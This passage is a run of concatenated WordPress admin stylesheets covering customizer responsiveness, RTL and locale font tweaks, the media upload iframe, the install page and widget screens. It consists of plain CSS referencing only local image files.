	position: relative;
	padding: 15px 60px 15px 15px;
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	border-right: 4px solid #fff;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
	cursor: pointer;
	display: none;
}

#available-widgets .widget,
#available-menu-items .item {
	position: static;
}


/* Responsive */
.customize-controls-preview-toggle {
	display: none;
}

@media only screen and (max-width: 782px) {
	.wp-customizer .theme:not(.active):hover .theme-actions,
	.wp-customizer .theme:not(.active):focus .theme-actions {
		display: block;
	}

	.wp-customizer .theme-browser .theme.active .theme-name span {
		display: inline;
	}

	.customize-control-header button.random .dice {
		margin-top: 0;
	}

	.customize-control-radio .customize-inside-control-row,
	.customize-control-checkbox .customize-inside-control-row,
	.customize-control-nav_menu_auto_add .customize-inside-control-row {
		margin-right: 32px;
	}

	.customize-control-radio input,
	.customize-control-checkbox input,
	.customize-control-nav_menu_auto_add input {
		margin-right: -32px;
	}

	.customize-control input[type="radio"] + label + br,
	.customize-control input[type="checkbox"] + label + br {
		line-height: 2.5; /* For widgets checkboxes */
	}

	.customize-control .date-time-fields select {
		height: 39px;
	}

	.date-time-fields .date-input.month {
		width: 79px;
	}

	.date-time-fields .date-input.day,
	.date-time-fields .date-input.hour,
	.date-time-fields .date-input.minute {
		width: 55px;
	}

	.date-time-fields .date-input.year {
		width: 80px;
	}

	#customize-control-changeset_preview_link a {
		bottom: 16px;
	}

	.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button {
		bottom: 10px;
	}

	.media-widget-control .media-widget-buttons .button.edit-media,
	.media-widget-control .media-widget-buttons .button.change-media,
	.media-widget-control .media-widget-buttons .button.select-media {
		margin-top: 12px;
	}

	.wp-core-ui .themes-filter-bar .feature-filter-toggle {
		margin: 3px 25px 3px 0;
	}
}

@media screen and (max-width: 1200px) {
	.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
	.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
	.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main {
		right: 67%;
	}
}

@media screen and (max-width: 640px) {

	/* when the sidebar is collapsed and switching to responsive view,
	   bring it back see ticket #35220 */
	.wp-full-overlay.collapsed #customize-controls {
		margin-right: 0;
	}

	.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
		bottom: 0;
	}

	.customize-controls-preview-toggle {
		display: block;
		position: absolute;
		top: 0;
		right: 48px;
		line-height: 2.6;
		font-size: 14px;
		padding: 0 12px 4px;
		margin: 0;
		height: 45px;
		background: #f0f0f1;
		border: 0;
		border-left: 1px solid #dcdcde;
		border-top: 4px solid #f0f0f1;
		color: #50575e;
		cursor: pointer;
		transition: color .1s ease-in-out, background .1s ease-in-out;
	}

	#customize-footer-actions,
	/*#customize-preview,*/
	.customize-controls-preview-toggle .controls,
	.preview-only .wp-full-overlay-sidebar-content,
	.preview-only .customize-controls-preview-toggle .preview {
		display: none;
	}

	.preview-only #customize-save-button-wrapper {
		margin-top: -46px;
	}

	.customize-controls-preview-toggle .preview:before,
	.customize-controls-preview-toggle .controls:before {
		font: normal 20px/1 dashicons;
		content: "\f177";
		position: relative;
		top: 4px;
		margin-left: 6px;
	}

	.customize-controls-preview-toggle .controls:before {
		content: "\f540";
	}

	.preview-only #customize-controls {
		height: 45px;
	}

	.preview-only #customize-preview,
	.preview-only .customize-controls-preview-toggle .controls {
		display: block;
	}

	.wp-core-ui.wp-customizer .button {
		min-height: 30px;
		padding: 0 14px;
		line-height: 2;
		font-size: 14px;
		vertical-align: middle;
	}

	#customize-control-changeset_status .customize-inside-control-row {
		padding-top: 15px;
	}

	body.adding-widget div#available-widgets,
	body.adding-menu-items div#available-menu-items,
	body.outer-section-open div#customize-sidebar-outer-content {
		width: 100%;
	}

	#available-widgets .customize-section-title,
	#available-menu-items .customize-section-title {
		display: block;
		margin: 0;
	}

	#available-widgets .customize-section-back,
	#available-menu-items .customize-section-back {
		height: 69px;
	}

	#available-widgets .customize-section-title h3,
	#available-menu-items .customize-section-title h3 {
		font-size: 20px;
		font-weight: 200;
		padding: 9px 14px 12px 10px;
		margin: 0;
		line-height: 24px;
		color: #50575e;
		display: block;
		overflow: hidden;
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	#available-widgets .customize-section-title .customize-action,
	#available-menu-items .customize-section-title .customize-action {
		font-size: 13px;
		display: block;
		font-weight: 400;
		overflow: hidden;
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	#available-widgets-filter {
		position: relative;
		width: 100%;
		height: auto;
	}

	#available-widgets-list {
		top: 130px;
	}

	#available-menu-items-search .clear-results,
	#available-menu-items-search .search-icon {
		top: 85px; /* 70 section title height + 13 container padding +1 input margin +1 input border */
	}

	.reorder,
	.reordering .reorder-done {
		padding: 8px;
	}

	.wp-core-ui .themes-filter-bar .feature-filter-toggle {
		margin: 0;
	}
}

@media screen and (max-width: 600px) {
	.wp-full-overlay.expanded {
		margin-right: 0;
	}

	body.adding-widget div#available-widgets,
	body.adding-menu-items div#available-menu-items,
	body.outer-section-open div#customize-sidebar-outer-content {
		top: 46px;
		z-index: 10;
	}

	body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content {
		right: -100%;
	}

	body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
		right: 0;
	}
}
/*------------------------------------------------------------------------------
  27.0 - Localization
------------------------------------------------------------------------------*/

/* RTL except Hebrew (see below): Tahoma as the first font; */
body.rtl,
body.rtl .press-this a.wp-switch-editor {
	font-family: Tahoma, Arial, sans-serif;
}

/* Arial is best for RTL headings. */
.rtl h1,
.rtl h2,
.rtl h3,
.rtl h4,
.rtl h5,
.rtl h6 {
	font-family: Arial, sans-serif;
	font-weight: 600;
}

/* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */
body.locale-he-il,
body.locale-he-il .press-this a.wp-switch-editor {
	font-family: Arial, sans-serif;
}

/* he_IL: Have <em> be bold rather than italic. */
.locale-he-il em {
	font-style: normal;
	font-weight: 600;
}

/* zh_CN: Remove italic properties. */
.locale-zh-cn .howto,
.locale-zh-cn .tablenav .displaying-num,
.locale-zh-cn .js .input-with-default-title,
.locale-zh-cn .link-to-original,
.locale-zh-cn .inline-edit-row fieldset span.title,
.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,
.locale-zh-cn #utc-time,
.locale-zh-cn #local-time,
.locale-zh-cn p.install-help,
.locale-zh-cn p.help,
.locale-zh-cn p.description,
.locale-zh-cn span.description,
.locale-zh-cn .form-wrap p {
	font-style: normal;
}

/* zh_CN: Enlarge dashboard widget 'Configure' link */
.locale-zh-cn .hdnle a { font-size: 12px; }

/* zn_CH: Enlarge font size, set font-size: normal */
.locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; }

/* zh_CN: Enlarge font-size. */
.locale-zh-cn #sort-buttons { font-size: 1em !important; }

/* de_DE: Text needs more space for translation */
.locale-de-de #customize-header-actions .button,
.locale-de-de-formal #customize-header-actions .button {
	padding: 0 5px 1px; /* default 0 10px 1px */
}
.locale-de-de #customize-header-actions .spinner,
.locale-de-de-formal #customize-header-actions .spinner {
	margin: 16px 3px 0; /* default 16px 4px 0 5px */
}

/* ru_RU: Text needs more room to breathe. */
.locale-ru-ru #adminmenu {
	width: inherit; /* back-compat for pre-3.2 */
}
.locale-ru-ru #adminmenu,
.locale-ru-ru #wpbody {
	margin-left: 0; /* back-compat for pre-3.2 */
}
.locale-ru-ru .inline-edit-row fieldset label span.title,
.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend {
	width: 8em; /* default 6em */
}
.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap {
	margin-left: 8em; /* default 6em */
}
.locale-ru-ru.post-php .tagsdiv .newtag,
.locale-ru-ru.post-new-php .tagsdiv .newtag {
	width: 165px; /* default 180px - 15px */
}
.locale-ru-ru.press-this .posting {
	margin-right: 277px; /* default 252px + 25px */
}
.locale-ru-ru .press-this-sidebar {
	width: 265px; /* default 240px + 25px */
}
.locale-ru-ru #customize-header-actions .button {
	padding: 0 5px 1px; /* default 0 10px 1px */
}
.locale-ru-ru #customize-header-actions .spinner {
	margin: 16px 3px 0; /* default 16px 4px 0 5px */
}

/* lt_LT: QuickEdit */
.locale-lt-lt .inline-edit-row fieldset label span.title,
.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend {
	width: 8em; /* default 6em */
}
.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
	margin-left: 8em; /* default 6em */
}

@media screen and (max-width: 782px) {
	.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,
	.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,
	.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,
	.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap {
		margin-left: 0;
	}
}
/* Styles for the media library iframe (not used on the Library screen) */

div#media-upload-header {
	margin: 0;
	padding: 5px 5px 0;
	font-weight: 600;
	position: relative;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
}

#sidemenu {
	overflow: hidden;
	float: none;
	position: relative;
	left: 0;
	bottom: -1px;
	margin: 0 5px;
	padding-left: 10px;
	list-style: none;
	font-size: 12px;
	font-weight: 400;
}

#sidemenu a {
	padding: 0 7px;
	display: block;
	float: left;
	line-height: 28px;
	border-top: 1px solid #f6f7f7;
	border-bottom: 1px solid #dcdcde;
	background-color: #f6f7f7;
	text-decoration: none;
	transition: none;
}

#sidemenu li {
	display: inline;
	line-height: 200%;
	list-style: none;
	text-align: center;
	white-space: nowrap;
	margin: 0;
	padding: 0;
}

#sidemenu a.current {
	font-weight: 400;
	padding-left: 6px;
	padding-right: 6px;
	border: 1px solid #dcdcde;
	border-bottom-color: #f0f0f1;
	background-color: #f0f0f1;
	color: #000;
}

#media-upload:after { /* clearfix */
	content: "";
	display: table;
	clear: both;
}

#media-upload .slidetoggle {
	border-top-color: #dcdcde;
}

#media-upload input[type="radio"] {
	padding: 0;
}

.media-upload-form label.form-help,
td.help {
	color: #646970;
}

form {
	margin: 1em;
}

#search-filter {
	text-align: right;
}

th {
	position: relative;
}

.media-upload-form label.form-help, td.help {
	font-family: sans-serif;
	font-style: italic;
	font-weight: 400;
}

.media-upload-form p.help {
	margin: 0;
	padding: 0;
}

.media-upload-form fieldset {
	width: 100%;
	border: none;
	text-align: justify;
	margin: 0 0 1em;
	padding: 0;
}

/* specific to the image upload form */

.image-align-none-label {
	background: url(../images/align-none.png) no-repeat center left;
}

.image-align-left-label {
	background: url(../images/align-left.png) no-repeat center left;
}

.image-align-center-label {
	background: url(../images/align-center.png) no-repeat center left;
}

.image-align-right-label {
	background: url(../images/align-right.png) no-repeat center left;
}

tr.image-size td {
	width: 460px;
}

tr.image-size div.image-size-item {
	margin: 0 0 5px;
}

#library-form .progress,
#gallery-form .progress,
.insert-gallery,
.describe.startopen,
.describe.startclosed {
	display: none;
}

.media-item .thumbnail {
	max-width: 128px;
	max-height: 128px;
}

thead.media-item-info tr {
	background-color: transparent;
}

.form-table thead.media-item-info {
	border: 8px solid #fff;
}

abbr.required,
span.required {
	text-decoration: none;
	border: none;
}

.describe label {
	display: inline;
}

.describe td.error {
	padding: 2px 8px;
}

.describe td.A1 {
	width: 132px;
}

.describe input[type="text"],
.describe textarea {
	width: 460px;
	border-width: 1px;
	border-style: solid;
}

/* Specific to Uploader */

#media-upload p.ml-submit {
	padding: 1em 0;
}

#media-upload p.help,
#media-upload label.help {
	font-family: sans-serif;
	font-style: italic;
	font-weight: 400;
}

#media-upload .ui-sortable .media-item {
	cursor: move;
}

#media-upload tr.image-size {
	margin-bottom: 1em;
	height: 3em;
}

#media-upload #filter {
	width: 623px;
}

#media-upload #filter .subsubsub {
	margin: 8px 0;
}

#media-upload .tablenav-pages a,
#media-upload .tablenav-pages .current {
	display: inline-block;
	padding: 4px 5px 6px;
	font-size: 16px;
	line-height: 1;
	text-align: center;
	text-decoration: none;
}

#media-upload .tablenav-pages a {
	min-width: 17px;
	border: 1px solid #c3c4c7;
	background: #f6f7f7;
}

#filter .tablenav select {
	border-style: solid;
	border-width: 1px;
	padding: 2px;
	vertical-align: top;
	width: auto;
}

#media-upload .del-attachment {
	display: none;
	margin: 5px 0;
}

.menu_order {
	float: right;
	font-size: 11px;
	margin: 8px 10px 0;
}

.menu_order_input {
	border: 1px solid #dcdcde;
	font-size: 10px;
	padding: 1px;
	width: 23px;
}

.ui-sortable-helper {
	background-color: #fff;
	border: 1px solid #a7aaad;
	opacity: 0.6;
	filter: alpha(opacity=60);
}

#media-upload th.order-head {
	width: 20%;
	text-align: center;
}

#media-upload th.actions-head {
	width: 25%;
	text-align: center;
}

#media-upload a.wp-post-thumbnail {
	margin: 0 20px;
}

#media-upload .widefat {
	border-style: solid solid none;
}

.sorthelper {
	height: 37px;
	width: 623px;
	display: block;
}

#gallery-settings th.label {
	width: 160px;
}

#gallery-settings #basic th.label {
	padding: 5px 5px 5px 0;
}

#gallery-settings .title {
	clear: both;
	padding: 0 0 3px;
	font-size: 1.6em;
	border-bottom: 1px solid #dcdcde;
}

h3.media-title {
	font-size: 1.6em;
}

h4.media-sub-title {
	border-bottom: 1px solid #dcdcde;
	font-size: 1.3em;
	margin: 12px;
	padding: 0 0 3px;
}

#gallery-settings .title,
h3.media-title,
h4.media-sub-title {
	font-family: Georgia,"Times New Roman",Times,serif;
	font-weight: 400;
	color: #50575e;
}

#gallery-settings .describe td {
	vertical-align: middle;
	height: 3em;
}

#gallery-settings .describe th.label {
	padding-top: .5em;
	text-align: left;
}

#gallery-settings .describe {
	padding: 5px;
	width: 100%;
	clear: both;
	cursor: default;
	background: #fff;
}

#gallery-settings .describe select {
	width: 15em;
}

#gallery-settings .describe select option,
#gallery-settings .describe td {
	padding: 0;
}

#gallery-settings label,
#gallery-settings legend {
	font-size: 13px;
	color: #3c434a;
	margin-right: 15px;
}

#gallery-settings .align .field label {
	margin: 0 1em 0 3px;
}

#gallery-settings p.ml-submit {
	border-top: 1px solid #dcdcde;
}

#gallery-settings select#columns {
	width: 6em;
}

#sort-buttons {
	font-size: 0.8em;
	margin: 3px 25px -8px 0;
	text-align: right;
	max-width: 625px;
}

#sort-buttons a {
	text-decoration: none;
}

#sort-buttons #asc,
#sort-buttons #showall {
	padding-left: 5px;
}

#sort-buttons span {
	margin-right: 25px;
}

p.media-types {
	margin: 0;
	padding: 1em;
}

p.media-types-required-info {
	padding-top: 0;
}

tr.not-image {
	display: none;
}

table.not-image tr.not-image {
	display: table-row;
}

table.not-image tr.image-only {
	display: none;
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.image-align-none-label {
		background-image: url(../images/align-none-2x.png?ver=20120916);
		background-size: 21px 15px;
	}

	.image-align-left-label {
		background-image: url(../images/align-left-2x.png?ver=20120916);
		background-size: 22px 15px;
	}

	.image-align-center-label {
		background-image: url(../images/align-center-2x.png?ver=20120916);
		background-size: 21px 15px;
	}

	.image-align-right-label {
		background-image: url(../images/align-right-2x.png?ver=20120916);
		background-size: 22px 15px;
	}
}
/*! This file is auto-generated */
html{background:#f0f0f1;margin:0 20px}body{background:#fff;border:1px solid #c3c4c7;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:140px auto 25px;padding:20px 20px 10px;max-width:700px;-webkit-font-smoothing:subpixel-antialiased;box-shadow:0 1px 1px rgba(0,0,0,.04)}a{color:#2271b1}a:active,a:hover{color:#135e96}a:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}h1,h2{border-bottom:1px solid #dcdcde;clear:both;color:#646970;font-size:24px;padding:0 0 7px;font-weight:400}h3{font-size:16px}dd,dt,li,p{padding-bottom:2px;font-size:14px;line-height:1.5}.code,code{font-family:Consolas,Monaco,monospace}dl,ol,ul{padding:5px 22px 5px 5px}a img{border:0}abbr{border:0;font-variant:normal}fieldset{border:0;padding:0;margin:0}#logo{margin:-130px auto 25px;padding:0 0 25px;width:84px;height:84px;overflow:hidden;background-image:url(../images/w-logo-blue.png?ver=20131202);background-image:none,url(../images/wordpress-logo.svg?ver=20131107);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;font-size:20px;font-weight:400;line-height:1.3em;text-decoration:none;text-align:center;text-indent:-9999px;outline:0}.step{margin:20px 0 15px}.step,th{text-align:right;padding:0}.language-chooser.wp-core-ui .step .button.button-large{font-size:14px}textarea{border:1px solid #dcdcde;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;width:100%;box-sizing:border-box}.form-table{border-collapse:collapse;margin-top:1em;width:100%}.form-table td{margin-bottom:9px;padding:10px 0 10px 20px;font-size:14px;vertical-align:top}.form-table th{font-size:14px;text-align:right;padding:10px 0 10px 20px;width:115px;vertical-align:top}.form-table code{line-height:1.28571428;font-size:14px}.form-table p{margin:4px 0 0;font-size:11px}.form-table .setup-description{margin:4px 0 0;line-height:1.6}.form-table input{line-height:1.33333333;font-size:15px;padding:3px 5px}.wp-pwd{margin-top:0}.form-table .wp-pwd{display:flex;column-gap:4px}.form-table .password-input-wrapper{width:100%}input,submit{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}#pass-strength-result,.form-table input[type=email],.form-table input[type=password],.form-table input[type=text],.form-table input[type=url]{width:100%}.form-table th p{font-weight:400}.form-table.install-success td,.form-table.install-success th{vertical-align:middle;padding:16px 0 16px 20px}.form-table.install-success td p{margin:0;font-size:14px}.form-table.install-success td code{margin:0;font-size:18px}#error-page{margin-top:50px}#error-page p{font-size:14px;line-height:1.28571428;margin:25px 0 20px}#error-page code,.code{font-family:Consolas,Monaco,monospace}.message{border-right:4px solid #d63638;padding:.7em .6em;background-color:#fcf0f1}#admin_email,#dbhost,#dbname,#pass1,#pass2,#prefix,#pwd,#uname,#user_login{direction:ltr}.rtl input,.rtl submit,.rtl textarea,body.rtl{font-family:Tahoma,sans-serif}:lang(he-il) .rtl input,:lang(he-il) .rtl submit,:lang(he-il) .rtl textarea,:lang(he-il) body.rtl{font-family:Arial,sans-serif}@media only screen and (max-width:799px){body{margin-top:115px}#logo a{margin:-125px auto 30px}}@media screen and (max-width:782px){.form-table{margin-top:0}.form-table td,.form-table th{display:block;width:auto;vertical-align:middle}.form-table th{padding:20px 0 0}.form-table td{padding:5px 0;border:0;margin:0}input,textarea{font-size:16px}.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td input[type=url],.form-table td select,.form-table td textarea{width:100%;font-size:16px;line-height:1.5;padding:7px 10px;display:block;max-width:none;box-sizing:border-box}#pwd{padding-left:2.5rem}.wp-pwd #pass1{padding-left:50px}.wp-pwd .button.wp-hide-pw{left:0}#pass-strength-result{width:100%}}body.language-chooser{max-width:300px}.language-chooser select{padding:8px;width:100%;display:block;border:1px solid #dcdcde;background:#fff;color:#2c3338;font-size:16px;font-family:Arial,sans-serif;font-weight:400}.language-chooser select:focus{color:#2c3338}.language-chooser select option:focus,.language-chooser select option:hover{color:#0a4b78}.language-chooser .step{text-align:left}.screen-reader-input,.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;visibility:hidden;opacity:.7;width:20px;height:20px;margin:2px 5px 0}.step .spinner{display:inline-block;vertical-align:middle;margin-left:15px}.button.hide-if-no-js,.hide-if-no-js{display:none}@media print,(min-resolution:120dpi){.spinner{background-image:url(../images/spinner-2x.gif)}}/* General Widgets Styles */

.widget {
	margin: 0 auto 10px;
	position: relative;
	box-sizing: border-box;
}

.widget.open {
	z-index: 99;
}
.widget.open:focus-within {
	z-index: 100;
}

.widget-top {
	font-size: 13px;
	font-weight: 600;
	background: #f6f7f7;
}

.widget-top .widget-action {
	border: 0;
	margin: 0;
	padding: 10px;
	background: none;
	cursor: pointer;
}

.widget-title h3,
.widget-title h4 {
	margin: 0;
	padding: 15px;
	font-size: 1em;
	line-height: 1;
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
	-webkit-user-select: none;
	user-select: none;
}

.widgets-holder-wrap .widget-inside {
	border-top: none;
	padding: 1px 15px 15px;
	line-height: 1.23076923;
}

.widget.widget-dirty .widget-control-close-wrapper {
	display: none;
}

.in-widget-title,
#widgets-right a.widget-control-edit,
#available-widgets .widget-description {
	color: #646970;
}

.deleting .widget-title,
.deleting .widget-top .widget-action .toggle-indicator:before {
	color: #a7aaad;
}

/* Media Widgets */
.wp-core-ui .media-widget-control.selected .placeholder,
.wp-core-ui .media-widget-control.selected .not-selected,
.wp-core-ui .media-widget-control .selected {
	display: none;
}

.media-widget-control.selected .selected {
	display: inline-block;
}

.media-widget-buttons {
	text-align: left;
	margin-top: 0;
}

.media-widget-control .media-widget-buttons .button {
	width: auto;
	height: auto;
	margin-top: 12px;
	white-space: normal;
}

.media-widget-buttons .button:first-child {
	margin-right: 8px;
}

.media-widget-control .attachment-media-view .button-add-media,
.media-widget-control .placeholder {
	border: 1px dashed #c3c4c7;
	box-sizing: border-box;
	cursor: pointer;
	line-height: 1.6;
	padding: 9px 0;
	position: relative;
	text-align: center;
	width: 100%;
}

.media-widget-control .attachment-media-view .button-add-media {
	cursor: pointer;
	background-color: #f0f0f1;
	color: #2c3338;
}

.media-widget-control .attachment-media-view .button-add-media:hover {
	background-color: #fff;
}

.media-widget-control .attachment-media-view .button-add-media:focus {
	background-color: #fff;
	border-style: solid;
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

.media-widget-control .media-widget-preview {
	background: transparent;
	text-align: center;
}
.media-widget-control .media-widget-preview .notice {
	text-align: initial;
}
.media-frame .media-widget-embed-notice p code,
.media-widget-control .notice p code {
	padding: 0 3px 0 0;
}
.media-frame .media-widget-embed-notice {
	margin-top: 16px;
}
.media-widget-control .media-widget-preview img {
	max-width: 100%;
	vertical-align: middle;
	background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7);
	background-position: 0 0, 10px 10px;
	background-size: 20px 20px;
}
.media-widget-control .media-widget-preview .wp-video-shortcode {
	background: #000;
}

.media-frame.media-widget .media-toolbar-secondary {
	min-width: 300px;
}

.media-frame.media-widget .image-details .embed-media-settings .setting.align,
.media-frame.media-widget .attachment-display-settings .setting.align,
.media-frame.media-widget .embed-media-settings .setting.align,
.media-frame.media-widget .embed-media-settings .legend-inline,
.media-frame.media-widget .embed-link-settings .setting.link-text,
.media-frame.media-widget .replace-attachment,
.media-frame.media-widget .checkbox-setting.autoplay {
	display: none;
}

.media-widget-video-preview {
	width: 100%;
}

.media-widget-video-link {
	display: inline-block;
	min-height: 132px;
	width: 100%;
	background: #000;
}

.media-widget-video-link .dashicons {
	font: normal 60px/1 'dashicons';
	position: relative;
	width: 100%;
	top: -90px;
	color: #fff;
	text-decoration: none;
}

.media-widget-video-link.no-poster .dashicons {
	top: 30px;
}

.media-frame #embed-url-field.invalid,
.media-widget-image-link > .link:invalid {
	border: 1px solid #d63638;
}

.media-widget-image-link {
	margin: 1em 0;
}

.media-widget-gallery-preview {
	display: flex;
	justify-content: flex-start;
	flex-wrap: wrap;
	margin: -1.79104477%;
}

.media-widget-preview.media_gallery,
.media-widget-preview.media_image {
	cursor: pointer;
}

.media-widget-preview .placeholder {
	background: #f0f0f1;
}

.media-widget-gallery-preview .gallery-item {
	box-sizing: border-box;
	width: 50%;
	margin: 0;
	background: transparent;
}

.media-widget-gallery-preview .gallery-item .gallery-icon {
	margin: 4.5%;
}

/*
 * Use targeted nth-last-child selectors to control the size of each image
 * based on how many gallery items are present in the grid.
 * See: https://alistapart.com/article/quantity-queries-for-css
 */
.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,
.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child ~ .gallery-item,
.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),
.media-widget-gallery-preview .gallery-item:nth-last-child(n+5) ~ .gallery-item,
.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),
.media-widget-gallery-preview .gallery-item:nth-last-child(n+6) ~ .gallery-item {
	max-width: 33.33%;
}

.media-widget-gallery-preview .gallery-item img {
	height: auto;
	vertical-align: bottom;
}

.media-widget-gallery-preview .gallery-icon {
	position: relative;
}

.media-widget-gallery-preview .gallery-icon-placeholder {
	position: absolute;
	top: 0;
	bottom: 0;
	width: 100%;
	box-sizing: border-box;
	display: flex;
	align-items: center;
	justify-content: center;
	background-color: rgba(0, 0, 0, 0.5);
}

.media-widget-gallery-preview .gallery-icon-placeholder-text {
	font-weight: 600;
	font-size: 2em;
	color: #fff;
}


/* Widget Dragging Helpers */
.widget.ui-draggable-dragging {
	min-width: 100%;
}

.widget.ui-sortable-helper {
	opacity: 0.8;
}

.widget-placeholder {
	border: 1px dashed #c3c4c7;
	margin: 0 auto 10px;
	height: 45px;
	width: 100%;
	box-sizing: border-box;
}

#widgets-right .widget-placeholder {
	margin-top: 0;
}

#widgets-right .closed .widget-placeholder {
	height: 0;
	border: 0;
	margin-top: -10px;
}

/* Widget Sidebars */
.sidebar-name {
	position: relative;
	box-sizing: border-box;
}

.js .sidebar-name {
	cursor: pointer;
}

.sidebar-name .handlediv {
	float: right;
	width: 38px;
	height: 38px;
	border: 0;
	margin: 0;
	padding: 8px;
	background: none;
	cursor: pointer;
	outline: none;
}

#widgets-right .sidebar-name .handlediv {
	margin: 5px 3px 0 0;
}

.sidebar-name .handlediv:focus {
	box-shadow: none;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#widgets-left .sidebar-name .toggle-indicator {
	display: none;
}

#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator,
#widgets-left .sidebar-name:hover .toggle-indicator,
#widgets-left .sidebar-name .handlediv:focus .toggle-indicator {
	display: block;
}

.sidebar-name .toggle-indicator:before {
	padding: 1px 2px 1px 0;
	border-radius: 50%;
}

.sidebar-name .handlediv:focus .toggle-indicator:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.sidebar-name h2,
.sidebar-name h3 {
	margin: 0;
	padding: 8px 10px;
	overflow: hidden;
	white-space: normal;
	line-height: 1.5;
}

.widgets-holder-wrap .description {
	padding: 0 0 15px;
	margin: 0;
	font-style: normal;
	color: #646970;
}

.widget-holder .description,
.inactive-sidebar .description {
	color: #50575e;
}

#widgets-right .widgets-holder-wrap .description {
	padding-left: 7px;
	padding-right: 7px;
}

/* Widgets 2-col Layout */
div.widget-liquid-left {
	margin: 0;
	width: 38%;
	float: left;
}

div.widget-liquid-right {
	float: right;
	width: 58%;
}

/* Widgets Left - Available Widgets */

div#widgets-left {
	padding-top: 12px;
}

div#widgets-left .closed .sidebar-name,
div#widgets-left .inactive-sidebar.closed .sidebar-name {
	margin-bottom: 10px;
}

div#widgets-left .sidebar-name h2,
div#widgets-left .sidebar-name h3 {
	padding: 10px 0;
	margin: 0 10px 0 0;
}

#widgets-left .widgets-holder-wrap,
div#widgets-left .widget-holder {
	background: transparent;
	border: none;
}

#widgets-left .widgets-holder-wrap {
	border: none;
	box-shadow: none;
}

#available-widgets .widget {
	margin: 0;
}

#available-widgets .widget:nth-child(odd) {
	clear: both;
}

#available-widgets .widget .widget-description {
	display: block;
	padding: 10px 15px;
	font-size: 12px;
	overflow-wrap: break-word;
	word-wrap: break-word;
	-ms-word-break: break-all;
	word-break: break-word;
	-webkit-hyphens: auto;
	hyphens: auto;
}

#available-widgets #widget-list {
	position: relative;
}

/* Inactive Sidebars */
#widgets-left .inactive-sidebar {
	clear: both;
	width: 100%;
	background: transparent;
	padding: 0;
	margin: 0 0 20px;
	border: none;
	box-shadow: none;
}

#widgets-left .inactive-sidebar.first {
	margin-top: 40px;
}

/* Not sure what this is for... */
div#widgets-left .inactive-sidebar .widget.expanded {
	left: auto;
}

.widget-title-action {
	float: right;
	position: relative;
}

div#widgets-left .inactive-sidebar .widgets-sortables {
	min-height: 42px;
	padding: 0;
	background: transparent;
	margin: 0;
	position: relative;
}

/* Widgets Right */

div#widgets-right .sidebars-column-1,
div#widgets-right .sidebars-column-2 {
	max-width: 450px;
}

div#widgets-right .widgets-holder-wrap {
	margin: 10px 0 0;
}

div#widgets-right .sidebar-description {
	min-height: 20px;
	margin-top: -5px;
}

div#widgets-right .sidebar-name h2,
div#widgets-right .sidebar-name h3 {
	padding: 15px 15px 15px 7px;
}

div#widgets-right .widget-top {
	padding: 0;
}

div#widgets-right .widgets-sortables {
	padding: 0 8px;
	margin-bottom: 9px;
	position: relative;
	min-height: 123px;
}

div#widgets-right .closed .widgets-sortables {
	min-height: 0;
	margin-bottom: 0;
}

.sidebar-name .spinner,
.remove-inactive-widgets .spinner {
	float: none;
	position: relative;
	top: -2px;
	margin: -5px 5px;
}

.sidebar-name .spinner {
	position: absolute;
	top: 18px;
	right: 30px;
}

